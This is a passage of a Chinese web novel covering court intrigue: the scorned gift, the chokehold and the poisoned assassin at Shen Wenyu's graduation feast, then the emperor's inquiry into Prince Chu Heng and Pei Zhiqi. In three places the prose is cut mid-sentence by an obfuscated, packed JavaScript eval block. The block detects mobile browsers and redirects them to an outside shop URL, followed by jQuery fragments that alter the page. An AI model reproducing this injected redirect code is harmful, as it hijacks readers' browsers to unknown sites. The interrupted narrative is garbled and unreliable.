裴止弃点了头,脸骨立体浓重,鼻尖如刀背,一眼便能瞧出非我族类。 沈文誉开了口,声音很轻:“是你啊。” 话语中听不出什么偏向。 裴止弃顿了顿,完全没有想要解释初见的那句“不感兴趣”的意思,只是将手中精心包了的贺礼递到状元郎跟前:“祝贺。” 礼盒用榉木制成,四角包金,盒身用微雕绘制了鱼跃龙门的图案。 看得出匠人费了好一番心思,小鱼状貌栩栩如生,跃然其上,颇为灵动诙谐。 沈文誉光是站在那里就足够吸引众人视线了。 更别提眼下面对着裴止弃,他的一举一动都好像在与那文章中提到的背道而驰。 他不讨厌北人?是代表了永康侯沈朝言的态度吗? 看起来甚至与裴止弃私交甚笃……那么皇帝知道吗,知道多少? 这一连串问题让所有如影随形的视线都带上了审视,好像人与人之间的关系向来就这般非黑即白。 只有宋鹤才不关心。 他一口气刚松出去,感觉沈文誉这人就是起了难得的好奇心,不免十分欣慰。 哎呀,虽然他这朋友的好奇心和那什么鲛人一样稀缺,但好歹也还没死绝嘛。 那感情好,他瞧裴止弃的身手投壶肯定不错,大家一起当兄弟,骑马游街、寻欢作乐,好不快活! 众人不禁屏住了呼吸。 沈文誉面色不变,形状极其优美的嘴唇撩起似若有若无的笑意。在宋鹤期待的目光下抬起手,似要接过那价值不菲的礼盒。 却又在裴止弃松手的时候,轻笑一声,收了手。 ——贺礼掉落在地上,砰地,坠出沉闷回响。 沈文誉似乎对此并不意外,随手掸走了衣摆上的灰,带着不言而喻的傲慢。 状元郎依旧眉眼弯弯,样子看着十分无辜,但也只是看着。他视线自下而上望来,带着寒凉的柔情与毒蜜,半晌,薄唇轻启:“你也配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113905|195884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 宋鹤……宋鹤两眼一黑。 祖宗啊! 他在心里疯狂呐喊,忽然感觉自己左脑和右脑对不上账,被沈文誉一边一个巴掌然后踩在地上蹂躏,视线震惊地在二人一盒之间来回移动,心里的小人捂着脸仰天长叹: 您老人家到底在干什么啊! 裴止弃十分平静,甚至称得上冷淡,礼盒掉落在地时呼吸都没有变。 匠人精心造物被弃如敝屣,灵鱼的浮雕被磕破了尾巴,几颗珠子被磕碎了,骨碌碌地滚远。裴止弃于是收回了视线。 “那便不叨扰了,裴某告辞。”裴止弃点点头,毫不在意周围震惊的目光。 “为何不以官职相称?”沈文誉凑近他,冷香袭面,像是刮过来一阵带着风霜的雪。 “据我所知,状元郎尚未封官。” 裴止弃需要低着头看他,但第一反应依旧是这人过于精致的五官,啧,连下巴尖都弧度都是完美的,就是不该长嘴。 “那又如何?”那唇角上挑,愉悦又漂亮极了,“不论是封什么官职,都担得起身为‘左官’的裴止弃一句‘大人’吧?” 一旁宋鹤悬着的心终于死了。 裴止弃笑了。显而易见,那臂甲下是虬结而饱满的肌肉,因为衣服已经快裹不住那肌肉弧度。男人手背青筋一点点暴起的样子堪称……危险。 宋鹤看得胆战心惊,沈文誉却像无知无觉般继续道:“毕竟你们这种低劣的……” 宾客间骤然爆发出一阵惊呼,哪怕已经有人反应极快,但还是耐不住裴止弃已经上前一步,出手掐住沈文誉的脖颈! 确实是一手便能抓握的大小,沈文誉仰起了头,不知是拒是迎,于是那纤弱脖颈便暴露得更彻底了,裴止弃拇指抵住了他的气管。战场上不会有比这还容易拧断的头颅了。 颈间被挤压,呼吸变得难堪重负,气流从脆弱的喉管里经过发出嗬嗬之声。 偏偏沈文誉还在笑,笑声断续不已,脸色却如纸片苍白,眼底的泪水溢出来,一点点濡湿了平静的海。 宾客们终于反应过来出事了,冲上去拉架的拉架,劝和的劝和,裴止弃本就没下死手,手一松,沈文誉呛进大口的新鲜空气,剧烈呛咳了起来,嘴唇也重新染上了血色,缀在苍白面容上,如同冰天雪地中一朵残败的梅。 “等等等等别置气,别置气,二位都冷静……” 一位官员夹在中间劝起来,听旁边的人称呼他为袁大人,如若没猜错,应当是时任御史主簿的袁钰。 “今日可是咱状元郎大好日子,二位同为陛下做事,千万别伤了和气!有什么事情好好说嘛,来,裴大人这边请,咱们喝酒去、喝酒去……” 裴止弃本就是吓吓他,敷衍地对着沈文誉一拱手,似乎也觉得没什么话好说,很快被袁钰拉走了。 宋鹤连忙拉住沈文誉查看起来。 方才拉架他自然挡在沈文誉前,裴止弃那狠戾视线叫他背脊一阵阵发凉。 北宛族。野蛮之地长出来的种族,伦理道德规训好似对他们根本没用,骨子里还带着兽类的凶性……但这疯意转瞬即逝,很快埋在了层层漠然之下。 恍如错觉。 “你说你惹他干什么!”宋鹤看他精神状态还好,很快重拾了唠叨的本事,感觉心里的小人在嗷嗷喷火。沈文誉脖颈透着瘀血,他看着就疼。 沈文誉嗯了一声:“惹就惹了。” 宋鹤:“不是,那你专程把人家喊过来羞辱一顿是图什么?你俩真要结仇了我告诉你,还好我没说是你一定要我把他叫过来……” 沈文誉说不出话,摆了摆手让他别念了。 宴会照常进行,沈文誉一行人很快就被宾客们热情招呼着上了坐,在曼妙笙歌、鼓乐齐鸣间,众人又推杯换盏交谈了起来,仿佛刚才只是一个无关痛痒的小插曲。 谁也没想到,就在此时,异变横生。 5. 暗流 日光倾曳,风光正好。 宴席显然是用了心思的,正餐后蜜饯荔枝、樱桃酥酪等昂贵点心流水似往桌上送,粉衣侍女在席间轻盈穿梭,软香萦鼻。 赴宴的宾客互相之间都认识,加上给足沈文誉面子,酒见了底便喊着要加。此时正醉意略显,放浪形骸,宛如置身云端,早已不知今夕何夕。 原本舒缓的舞乐一转,兀地换了首促兴的。 鼓琴和奏,紫衣客人目光不错地盯着舞娘,被舞娘柔软身子撩得燥热不已,视线艰难移开,又落在主位身上。 沈文誉的衣领方才被扯乱了,露出半截纤细的脖颈来。 他在喝酒,手指劲瘦如细竹,在下唇一抵一抹,将透明的酒液拭去,像是听见什么有趣的东西,垂眸抿着唇笑了。 那唇齿被浸润得柔软而光泽,开阖间隐约窥见内里猩红,简直叫人血脉贲张。 紫衣客人难耐地咽了一口唾沫。 似乎觉得这不是自己可以招惹的,他有些悻悻地移开目光,正眯着眼,见有人低着头匆匆忙忙经过他,便乐呵呵将人拉住了。 “兰陵美酒郁金香!小友,你往哪去,来喝……” 分明是正常情形,被拉住的那位却无比错愕,带着几分被戳破什么了似的慌乱反应,用力挣扎起来。 “别这么害羞嘛!小友看着面生,我们来认识认识,如何?” 紫衣客人见他好看,喜欢不已,又见他穿着素净,愈加笃定了不是什么权贵,便拽着不让人走,起了逗弄的心思:“你叫什么……喂!” 见越来越多的人朝拉扯的地方看过来,那遭骚.扰的人表情终于变了,将这看不懂脸色的醉鬼猛然往旁边一推。 !! 客人的酒瞬间醒了大半,眼睁睁看着那人面带怨恨地剜了他一眼,手腕疾旋,自袖中抽出一把短刀,飞身往上座的沈文誉刺去! 寒光乍现,杀意破风而至,沈文誉原先偏着头与同伴闲聊,似是被这边的争执引起了兴趣,望过来时恰巧与锋利刀刃擦肩而过,惊险躲过致命一击! 纷争未止,惊波又至—— 近距离发觉状况的几人瞬间惊叫,起身大呼侍卫。 恐慌氛围如瘟疫般扫卷了席间,客人们互相推搡,花瓶瓷碗遭受了七手八脚的毒害,坠落在地上发出尖锐的碎裂声,场面登时乱成一团粥,组成这碗粥的米粒们正撒开了脚丫子乱跑,敞开了嗓子尖叫。 那人见一击尚未得手,匕首轻旋,手腕重新调整了角度,携着万钧之力,再次往沈文誉的心口猛刺—— 森然刀尖映出日光,如毒蛇迫近,带着嗜血方归的狠辣。 沈文誉仓皇之间只来得及抬手相抵。 刀尖眼见着就要刺入皮肉。那双放大瞳孔中倒映出刺客扭曲而怨恨的面容—— 来不及了。 沈文誉下意识闭上了眼。 ……什么都没有发生? 桌椅被掀翻的声音,还有木头断裂的声音。 纤长睫毛颤了颤,缓慢睁开,循声望去,却发现那刺客被一脚踹在胸膛,远远飞了几米,撞翻八仙桌时闷哼一声,身子以一种怪异的姿势瘫倒在地。 看模样,也许被直接踹断了几根骨头。 裴止弃漠然地瞥了沈文誉一眼。 沈家小儿子瞳孔微微放大,像是吓到应激,又像是魇住了般,瞳孔焦距微微涣散,投向他的目光带着惶茫,让人联想到羽翼未满的幼鸟。 裴止弃见不得这样怯懦的性子,手指掐住了他的下巴尖,抬高,想让他清醒一点:“沈文誉。” “……” 沈文誉被迫仰着脸看向裴止弃,呼吸还有些.喘,反应过来,仓促地将头偏过去。 裴止弃有些无语:“你拿右手挡什么,手废了怎么办,不要写字了?” 只是稍微用了点力,那雪团子似柔软的脸颊上已经浮起了指印。下一秒,裴止弃的手被“啪”地拍开,男人无所谓地直起身,搓了搓指尖。 方遭刺杀,又被训了一通,还是被自己最瞧不起的人。 沈文誉原本还有几分惊悸,一时间只能听见鼓噪的心跳声。裴止弃作用斐然,几句话之下,那点余微后怕登时烧成了怒火,沈文誉瞪过去,眼睛亮极了,像金乌坠到了海里,灼灼着泛起潋滟。 裴止弃还想说什么,不曾想多瞧了他两眼,风凉话在嘴边逛了一圈突然卡了壳。 裴止弃就这么沉默半晌,带着“这也能算美色吗”的自我谴责,十分不爽地“啧”了一声,松了手,走向那个倒在地上爬不起来的刺客。 那人看起来伤得极重,几番想把自己撑起来却又无力倒下,拖着寸断的骨头在地上爬行几步,顿了一秒,猛地喷出一口血雾。 裴止弃走到他面前,用脚尖轻轻抬起那人的下巴,左右看了看,入目是一张涕泪横流的脸。 那五官俊美立体,立体到不似楚人,散落在身前的长发微蜷…… 不对。 血液尚未来得及凝固,不好的预感顺着脊背攀升,转瞬攫取了裴止弃的呼吸。 “对、对不起主子,对不起。” 那刺客对自己下手依旧狠辣,不过甩了自己几个巴掌,唇边已经隐隐有了血迹,半边脸都肿了起来。不顾剧痛的身子又爬向他,仰目看着裴止弃,目光凄然。 “属下办事不力,一时没有控制住自己,刺杀不成,反而铸成大错,属下该死!” 裴止弃霎时反应过来。 可哪怕他的动作已经极快,二话不说撬开了那人的齿关,黑血依旧源源不断地从那人口中涌出。 断落的牙齿掉在地上滚了两圈,粘上尘灰,刺客死不瞑目地倒在了裴止弃脚下,手还死死攥着裴止弃的衣摆。 ——带着一张特征明确的、北人的面孔。 天色瞬间阴沉下来。 狂风呼啸着冲进云霄,将屋下风铃刮得叮叮当当响成一团,重云自四方聚拢,遮天蔽日,带着几分山雨欲来的征兆。 裴止弃的表情终于变了。 . 房门紧闭,宾客被先行遣散。 被撞翻的桌子尚未来得及收拾,透明酒液淌了一地,带着几分戛然而止的狼藉。 北人的尸体安置在东南一角,等大理寺差人来审查。 裴止弃不好再沾上关系,自刺客吞毒自尽时就果断保持了距离。宋鹤带着沈文誉回房休息,原本喧闹的庭院仅剩下几人,热闹散尽,唯余冷清。 袁钰留了下来。 御史主簿职位所便,他品级虽不高,但御史向来掌分察六部及百司之事,加上多出外仕,平日里眼熟的官员也不少,第一时间便上前查看。 “这……” 袁钰看了两眼,犹疑起来,干脆直接问裴止弃:“裴大人,这人您是否认识?” 事发时他离得最近,清楚听见了那声“主子”和忏悔之词,眼下不好撕破脸,便挑了一个较为温和的问题,拐弯抹角地试探起来。 北人的面目特征极其明显,袁钰会怀疑也是情理之中。 裴止弃顿了顿:“不认识。” 袁钰:“……” 哦——他知道的,装不熟,撇清关系,下一步就是杀人灭口了,他都知道的。 袁钰带着一脑门官司,实在不知道该说什么,于是微笑起来,往后撤了两步。 但见裴止弃语气不善,他还是缓和起气氛,解释道:“也对,裴大人日理万机,不记得是谁也正常,只是平京城中鲜少见北人,我以为裴大人会认得。是我考虑不周了。” 裴止弃瞥他一眼,冷笑起来。 这话里是什么意思简直不要太明显,差点把狼狈为奸四个大字贴他脸上了。 那刺客悔过时声音没控制,不,甚至是刻意大喊,袁钰明显是听见了什么,在这里点他。 裴止弃悠悠道:“是啊,京城中少见北人,但有资格来赴宴的不能是无名无姓之徒罢?我若面熟,大家也该都面熟了。” 袁钰被他笑得尾巴骨都颤了颤。 对。京城里北人不多,有名有姓的那几位众人也都面熟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113906|195884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除此之外就是郊外聚居的北人妇女。既然在场无人认识,说明确实不是什么要紧人物——但那种人怎么可能有资格来赴宴? 排除这个可能,就剩裴止弃偷带进来的死士了,他这么怀疑也是情有可原的吧。 他有些牙疼。 问话进行到此,已经陷入了僵局。 袁钰干脆将门口的记账唤过来,问小厮记不记得这人写的谁的名字。 礼账小厮翻了几页册子,很快在本中找到一人姓名,指给二人看。 居然还真是走正门进来的? 袁钰也有些意外,立马凑上去看了起来,仅一眼,吓得惊呼出声。 “臭奴才,我看你真是活腻了!”袁钰将册子丢给他,语气里已经带上了怒意,“你给我仔细掂量些,胡乱指名的话,全家脑袋都不够你掉的!” 说罢,袁钰又气道:“给我重新找!” “大人请息怒,”记账二话不说跪下了,“小的怎敢乱说!旁的不提,在记人这方面小的过目不忘,这位……客人来送礼时,按流程递了请帖,送了礼,写了名,填的正是‘楚珩’二字!” 闻言,裴止弃也是一顿,眉头轻轻拧紧了。 他眉眼的线条深邃,是十分具有异族特征的长相,但偏偏有英俊做底色,平日里也不爱出头,总容易让人对他放松警惕,觉得此人只是一个空有其表的绣花草包。 但那小厮不知道怎么回事,就是很怕他,见他眉头不爽,登时如被掐了声,畏惧到说不出半个字。 楚是国姓。 若非天潢贵胄的皇室,就是开国时功绩显赫的重臣。 不论是哪种,都是举足轻重的人物,与北人可以说是毫不相关。 好在楚珩这名字众人皆知,正是当朝六皇子,奚予芝奚妃之子,由于尚未封爵,依然住在宫中,与这刺客的样貌不符。这也是为什么袁钰直接否定了执事的话。 “之前隐约听闻六殿下喜好私养男宠,尤其疼爱一位北人……”袁钰喃喃道。 北人由于其相貌优异俊美,再加上地位低下,一直是京城贵族私下里不入流的玩物,甚至催生了专门的“黑牙子”,以向贵族买卖品质较好的北人为生,其地下产业庞大、盘根错节。 而既然说了不入流,也就同去秦楼楚馆点小倌不能大声张扬一个道理,意味着此事龌龊。众人心知肚明是一回事,瞧不上眼也是另一回事。 袁钰正色起来。 涉及到皇子,就不是他能插手的事情了,还是趁早报给陛下的好。 等到衙役赶来,袁钰自觉没必要再留下,便先行告辞。 他离开前还是不放心地看了眼裴止弃,这位高…权也不重的北人隔着不远不近的距离,手指无聊把玩着一枚玉佩,静静看着尸体。 男人富有辨识度的上半张脸隐匿在斑驳的树影中,长发垂下,遮住了眉眼,也不知道在想什么。 尸体已经叫白布盖上了。 北人全族又称北宛族,游牧为主,骁勇善战,与后来崛起的楼兰、戎卢、卑陆、吐蕃等小国原并称西域十一国,可惜地理位置较差,陇合之围后并入楚。 由于全族仅五万人,据说北人的宗族观念很重,哪怕互相之间毫无亲缘关系,也会视如己出帮忙照顾,乃至不计代价的保护。但不知道裴止弃是否如此,毕竟他看起来谁都不在乎…… 袁钰又想起不久前二人起冲突时,裴止弃难得的冲动,和沈文誉气息不稳的呛咳。 沈文誉那时是说了什么来着? ……对了,是“毕竟你们这低劣的种族”。 裴止弃被他拽着松开手时,眼底明显闪过一丝遗憾…好像单纯只是缺氧还不够,要把那血管掐得爆出、破裂才算满意。 遗憾。 他拿不准这位左官的话里到底几分真假,回神一看,裴止弃不知何时收回了目光,正无声看着自己。 “哈哈,无事,我这就走,裴大人告辞……” 袁钰打了个寒噤,拭去了额间汗,强行挤出了一个笑容,匆忙离去了。 6. 恶意 不过半个时辰,新科状元郎沈文誉在状元宴上遇刺一事就如插了翅膀般飞速传开,很快成了茶余饭后的谈资。 据说脾气向来温和的永康侯大怒,领着家兵直接闯入大理寺,要求大理寺少卿彻查此事,再不过一日,早朝前,陛下额外召了这几人入宫。 裴止弃丝毫不意外,早到了半个时辰,本打算截住沈文誉说几句话,没想到这人到得更早,却站得远离人群,不与任何人交谈。 冥冥之中,也许眼神真的会如有实质。 在裴止弃的目光快要滑倒他的腰时,沈文誉似有所感,回头与将军对上了视线。 只是这次他没再像第一次那样无动于衷,而是抬起手,心情还不错似,迎着裴止弃的视线,点了点自己的脖侧。 裴止弃:“?” 他为了让裴止弃知道,还将衣领微微往下拉了拉,露出很透明的黛青色血管和淤血的肌肤……对,还有一圈明显的手掌红痕。 沈文誉微微挑衅着笑了起来,作了口型,一字一顿,叫罪魁祸首看真切。 “红了。”他说。 . “朕已听闻此事,一定差人彻查,不能让文誉白受委屈。文誉可受惊吓了?还好吗?” 或许是对相貌姣好之人的偏爱,再加之永康侯与先帝关系匪浅、沈文誉又鲜见地连中三元,延和帝楚萧对沈文誉的态度简直称得上和颜悦色。 沈文誉显然特地收拾过一番,即便如此,也难掩面容的疲惫。 他脖颈那一圈还可怜地红着,闻言睫毛轻轻颤了颤,收起了宴会上的牙尖嘴利,在皇帝面前乖巧得很。 “臣无妨,多谢陛下关心。” “此事真是荒谬至极……”延和帝说到这里,像是想到了什么,语气骤然冷了下来,“珩儿呢,怎么还没来!” 黄公公小步上前,凑到陛下身边耳语道:“……还在闹呢。” “他还有脸闹!”延和帝将手中琉璃盏用力往地上一摔,清脆的破碎声在大殿内响起,一圈人毕恭毕敬地站着,生怕呼吸重了惹怒天颜。 杯盏身上爬满蛛网似的裂痕,滚落几圈,最终停在了裴止弃的脚边。 碎片更为绚丽的光泽倒映在裴止弃天生颜色较浅的瞳孔中,延和帝也注意到了这边动静,不耐地叫了两声他的名字。 裴止弃冷冷抬头。 恰在此时,殿外的争执声传来,隐约有“阿云”“滚开”的字眼,随着脚步声越来越近,那不耐烦的呵斥声也愈来越大。 等到那人踏进养心殿,才后知后觉反应过来什么,跪下了。 “儿臣楚珩拜见父皇。” 裴止弃对楚珩的影响只停留在他的出生一般,母妃原是奚家某位嫡出的长女,生下他后就殁逝了。 极度缺乏关爱的童年与皇宫养蛊似的争斗养出了楚珩暴躁易怒的性子,他与另外几个兄弟的关系都不好,在亲眼目睹了三皇子及冠前夕被毒杀的事件后,更是对宫中所有人抱有极端的不信任。 大抵是对他的早逝的生母还有几分感情,延和帝对楚珩几乎是有求必应,在他要求自己培养一支亲卫时也同意了。平日里对楚珩与兄弟们的龃龉也都睁一只眼闭一只眼。 可眼下…… “父皇,您叫我来所为何事?阿云呢?他这么久没回我真的很担心,我知道阿云是北人,而您向来厌恶他的北人,可阿云不一样……” 楚珩话语急切,似乎完全不知道发生了什么事。 “混账!” 延和帝出离愤怒了,“你给我跪下!” 楚珩没料到父皇如此生气,再不满也先跪下了,只是没耽误嘴上不满地嘟囔:“父皇不喜欢的话那我便不说了,但阿云他是无辜的。” “流云于昨日午时赴宴一事你可知晓?”延和帝开了口。 “儿臣知晓。状元宴嘛,那谁来着,好像姓沈。递拜帖也是我准许过的,流云又喜欢读书,对连中三元的状元特别感兴趣,不过是想借着我的名义出去玩玩罢了,认识认识朋友,有何干系?” “感兴趣… ”延和帝重复了这三个字,古怪地笑了一下,“那你可知他于宴会上骤然发难,刺伤‘很感兴趣的’状元郎一事?” “刺伤……什么!?” 楚珩一顿,尾音高得险些劈了,终于意识到今日被叫来竟是为了问罪,但还是难以置信。 “不不不,不对,这怎么可能?阿云平日连刀都拿不动,做些点心还经常伤到手,刺伤?他怎么可能做这种事情?” 沈文誉低头看了一眼完好无损的手臂,心想确实不是刺伤。若不是裴止弃帮忙拦了一下,想必伤都是轻的,这只手从此废掉了也说不定。 “好。那你可还知,流云行刺失败后,唤殿前副都指挥使裴止弃主子一事?” 陛下手眼通天,这么快就已经得知了筵席一事全部细节,想必连沈文誉同自己有过几句争执的事情也知晓了。 裴止弃总觉得自己漏了什么重要信息,但无论如何也想不起来。 偏偏桩桩事情这么不凑巧,都撞在了一起……麻烦了。 “怎么会!?”延和帝话音一落,楚珩面露惊色,果断将头磕在地上,膝行两步,“父皇,事关重大,还请父皇明鉴!” 殿内所有人都看出了皇帝的发难,嗅到了问讯之下的暗流涌动,一时间,风声鹤唳起来。 “但父皇……流云绝不可能与裴止弃勾结!想必一定是误会,若是让我见流云一面,我一定会问出真相!”楚珩声音都在哆嗦。 皇帝却避而不答道:“你前阵子提出在承乾殿外拥兵,当真是你一个人的意思吗?” ——不是流云,陛下怀疑六殿下与裴止弃勾结! 楚朝庞大官僚体系中人精中的人精全在这儿了,加起来几千个心眼子,一眼看过去能吓出密集恐惧症。心眼子们瞬间反应过来了皇帝未尽之意,瞳孔均是一震。 提及裴止弃,连楚国边野、最是大字不识的乞丐都知道裴止弃那点名头有名无实,但赫赫军绩却是再真不过。 而延和帝顾忌兵权,再加上厌恶北宛族,一直明里暗里地打压裴止弃。裴止弃征战沙场、扩建疆土,连他的亲卫都有陛下御赐的“扬武翊卫”之称,裴止弃无称号、无封地、无实权,什么都没有。 他连载入国史都不配。 后又一年,裴止弃被召回京,封“殿前副都指挥使”,明提实贬,不久,又赐“左官”之称,实权几度被剥压,不如永康侯管家兵的副将,行事颇受掣肘。 本以为到这就足够了,但这并不意味着延和帝就此放心。 楚萧亲自率兵趟过西北,是吹过风沙、踏过铁河的皇帝,鹰隼般的目光扫过跪在地上发抖的儿子和事不关己的裴止弃,带着阴鸷之色。 楚珩此番精准撞在他心头郁结之处,还如此语焉不详…… “……是、不!建立护卫军是儿臣的意思!”楚珩急道。热汗早已覆满额间,却不敢伸手去擦。 造反之罪和养来好玩的宠物放在一起孰轻孰重简直不消他说,他只是好.色,又不想当焦仲卿。 “儿臣只为自保,绝无他意!儿臣只是害怕!皇兄死于风寒药之毒,可那分明是……” “住嘴!”延和帝喝道,“太医已经查明是药性相冲,你还揪着这事情不放,对你的哥哥们究竟有何不满!” 豆大汗水顺着下巴砸落在金銮殿上,楚珩何时被父亲这么训斥过,脸颊涨红,却只会这么翻来覆去的几句。 “儿臣冤枉……恳请见云儿一面。” 裴止弃知道自己不得不说些什么了。 上前行礼时,他瞥了沈文誉一眼,发现事情的主人公在好像在走神。明明在讨论他,这人却像是在看热闹,垂下的长睫显得乖顺而疏离。 “陛下息怒,”裴止弃淡淡道,“陛下多虑了,卑职与六殿下并不相识。” 延和帝嗤笑一声:“好,不熟。那你为何也会赴宴?难道你与沈文誉相识?” 为何会赴宴呢。 分明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113907|195884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈文誉这个状元出名就在其偏激思想,也正因为这个才得了皇帝赏识,立场鲜明,不仅恨北人还想驱逐北人,说是裴止弃的敌人也不为过。 若两人还能秉烛同游、把酒言欢,那真是得夸一句裴将军虚怀若谷…是个圣母了。 这不亚于别人冲上来扇了将军一巴掌,他还能把另一半脸凑过去,如果不是真有什么难以言说的兴趣爱好,就是脊梁被掏空,跪的那是一个自甘下.贱。 若真是如此,那连他族人的气节和血性,都变成了供人取笑的笑柄。 裴止弃不卑不亢:“收到了请帖就去了。” 请帖? 延和帝转过头,“文誉,怎么回事?” 沈文誉的声音很轻,咬字的旋律很清晰,说不上来为什么,叫人不自觉就心生好感:“臣给京城中所有有名有姓的大人都发了请帖。” 言下之意,礼貌使然,顺手给裴止弃发了请帖,没想到他还真来了。 说是礼貌,这请帖其实发的更像是挑衅,毕竟无人不知他立场与裴相悖,但裴止弃真的来了,这就十分耐人寻味了。沈文誉这回答还算是意料之中,延和帝看向他的目光更温和了,问道。 “朕还听闻裴止弃参宴时同你起了冲突,此事当真?” 沈文誉轻轻咳了一声,似乎喉间那掐痕让他难以长时间说话。良久,才摇了摇头,声音更哑了:“只是些误会罢了。是臣说话不过头脑,叫裴大人不高兴了。” 何等纯良无辜的小白花!皇帝一心疼,不管他有没有错都不是他的错了,裴止弃全责。 裴止弃又冷笑一声——自从碰见沈文誉,他好像总是在冷笑——是啊,他有错,自己当时怎么没掐.死这绿茶。 这样的话,也犯不着那位“属下”动手了。 延和帝转头看向裴止弃,像是看到了好戏高潮,连连抚掌。 “文誉无辜、六殿下无知。是不是流云刺杀时喊的那两句主子也是看错了人?听起来,你们两位北人可是把我们所有人耍得团团转啊。” 裴止弃身姿笔挺,将衣服下摆一撩,二话不说跪下了,连衣摆上修着银线图纹的虎豹都似伏低了身子。 皇帝会怀疑自己与楚珩有私交,一切都基于那句意有所指的“主子”。可他赴宴的消息并没有告诉任何人,连宋鹤都是当天他去时才知晓的,沈文誉更不可能提前得知。 众人的视角来看,他面对请帖选择赴宴本身就很奇怪了,果不其然与沈文誉起了冲突,不久后为属下的流云就选择刺杀了沈文誉。 偏偏流云为北人,偏偏与楚珩关系甚密,又偏偏楚珩前不久选择拥兵自重。 还真是合情合理、顺其自然……吗? 如果自己没踹那一脚,而是冷眼看着沈文誉受刺,那还真是被那环环相扣的网给缠住了,不死都得脱层皮。 ……虽然眼下也好不到哪里去。 裴止弃深吸一口气:“可依臣之见,此事处处透着怪异。若臣确实与六殿下合谋,流云受我指使,亦或是殿下指使,文誉难道还能站在这里?” 延和帝摸着下巴:“可朕还听到一个说法,不知道指挥使感不感兴趣?你说,若是殿下差人刺杀,流云功成身退,六殿下再借此要挟身为都指挥使的裴大人……” 楚珩哭天抢地:“儿臣绝无此意!” 延和帝:“那么六殿下此后登基称帝之路就顺了呢。” 楚珩:“父皇……” 裴止弃打断了楚珩高谈阔论的忠心。 “虽说在宴会期间与沈大人意见不合,但沈大人遇刺时,臣也及时施以援手,避免了血案的发生。 “——你说是么,文誉?” 沈文誉看向裴止弃,眼底情绪混杂不明,优美唇角一弯,却是笑了。 “是。” 他的声音慢慢、轻轻递出来。 那笑意宛如仅存在于鬼怪故事里的慑人精魄的妖怪,带着纯净而无知的恶意。 “臣……万分感激裴大人出手相助。” 7. 罗网 是啊。 如果流云刺杀是有意为之,裴止弃又为何要救下沈文誉? 任由他刺杀成功功成身退,事件由此陷入一个僵局,也就不会有人会怀疑是裴止弃指使“属下”做的。 延和帝直直盯着裴止弃,试图从他这位“芥蒂”脸上看出什么端倪。 但什么也没有。 事情就莫名成了现在这般剪不断理不清的模样。 “流云人都死了,”裴止弃耸肩,“他要是想害我,就该安安稳稳的去死,陛下,您不觉得他如此顺利的将我出卖才是真的奇怪吗?我养不出这么废物的死士。” 众大臣纷纷倒吸一口凉气——等等,这种话是能说的吗!? “流云人都死了,”延和帝衔着这几个字,来回重复,又反问道,“我怎么知道他脑子里装了什么?临死前表忠心、忏悔、实则是与你勾结,万般可能,谁来确证?人都死了,那我便只能信我看见的了。” 裴止弃一摊手。示意自己没话说了。 楚珩见裴止弃退回了官员的队伍里,一时间心都凉了,把头磕出了令人十分牙酸的动静,涕泪横流,却只会重复说“真的不是我”“父皇明查”“阿云无辜”云云。 “……”楚萧撑着额头。 他终究还是宠爱这个儿子的,况且事情的关键在流云,还是得…… “着刑部、大理寺、御史台差人共同审案,查明六殿下私下里同谁关系过密、流云究竟受何人指使。”楚萧摆了摆手。 “是。” 刑部侍郎祝今宵任的是刑部官职、行为却是风流做派,人也如其名,风骚又放浪,只顾今宵…爽快。 此人手段过硬,自任刑部官职以来,凡经他手的疑案错案无不平反,但工作是一回事,私下里品行不端又是另外一回事。 有小报称此人臭不要脸,荤素不忌,逮谁撩谁,审美吊诡,凶名和花名一同在外,花名还隐隐有一骑绝尘的趋势。 不过朝上倒是很正经。 先是说了几句好话把皇帝哄宽心了,保证日后严密跟进,最终只是罚了裴止弃三个月俸禄、六殿下萧珩禁足半年。 . 下朝后,百官陆续结伴离开。 宫道上铺的青石板上早就被接踵官员踩得平整光滑,此时恰逢细雨,青砖上升起一阵绵湿朦胧的的烟,雾气缭绕,极似江南青色的湖水。 不知是否有补偿的这层意思在,沈文誉被授为翰林学士兼殿中侍御史,官至五品,既能参与起草诏书,也能监察百官、巡视地方。 甫一任职,便前途无量。 只是他似乎刚上任,与同僚之间都算不上认识,几人同他庆祝过后就离开了,同僚并袂而行,他便落了单。 直到行至宫门处,沈文誉正在寻自家马车,突然有只手伸过来,拽住了他。 明显是男人的手。 骨架宽大,指节突兀,那人指腹带着一层厚厚的茧子,显然是常用刀枪,因为掌心的茧子长了又破了,刮的人皮肤生疼。沈文誉没想到皇宫下还有人胆子这么大,正要挣扎,那人啧了一声,习以为常把他另外一只手也拽过来…两只手并在一起,然后单手扣住了他的手腕。 沈文誉被拽得一踉跄。 好烫。 